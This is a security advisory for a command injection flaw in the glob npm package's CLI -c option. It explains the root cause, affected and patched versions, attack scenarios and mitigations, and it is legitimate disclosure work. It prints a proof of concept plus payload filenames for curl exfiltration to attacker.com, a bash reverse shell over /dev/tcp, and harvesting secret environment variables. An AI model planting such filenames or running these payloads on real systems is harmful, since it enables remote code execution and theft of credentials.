Is glob safe?

GHSA-5j98-mcp5-4vw2

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Root Cause: The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:

stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))

Technical Flow:

• User runs glob -c <command> <pattern>
• CLI finds files matching the pattern
• Matched filenames are collected into an array
• Command is executed with matched filenames as arguments using shell: true
• Shell interprets metacharacters in filenames as command syntax
• Malicious filenames execute arbitrary commands

Affected Component:

• CLI Only: The vulnerability affects only the command-line interface
• Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected
• Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface:

• Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc.
• Any directory where attackers can control filenames (PR branches, archives, user uploads)
• CI/CD pipelines using glob -c on untrusted content

Setup Malicious File:

mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'

Trigger Vulnerability:

# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"

Result:

• The echo command executes normally
• Additionally: The $(touch injected_poc) in the filename is evaluated by the shell
• A new file injected_poc is created, proving command execution
• Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration:

# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'

Reverse Shell:

# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'

Environment Variable Harvesting:

# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'

Arbitrary Command Execution:

• Commands execute with full privileges of the user running glob CLI
• No privilege escalation required - runs as current user
• Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise:

• Malicious PR adds files with crafted names to repository
• CI pipeline uses glob -c to process files (linting, testing, deployment)
• Commands execute in CI environment with build secrets and deployment credentials
• Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack:

• Developer clones repository or extracts archive containing malicious filenames
• Local build scripts use glob -c for file processing
• Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems:

• Services using glob CLI to process uploaded files or external content
• File uploads with malicious names trigger command execution
• Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning:

• Malicious packages or themes include files with crafted names
• Build processes using glob CLI automatically process these files
• Wide distribution of compromise through package ecosystems

Platform-Specific Risks:

• POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing
• Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
• Mixed Environments: CI systems often use Linux containers regardless of developer platform

• Ecosystem: npm
• Package name: glob
• Component: CLI only (src/bin.mts)
• Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
• Introduced: v10.2.0 (first release with CLI containing -c/--cmd option)
• Patched versions: 11.1.0and 10.5.0

Scope Limitation:

• Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe
• CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable

• Upgrade to glob@10.5.0, glob@11.1.0, or higher, as soon as possible.
• If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.
• As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.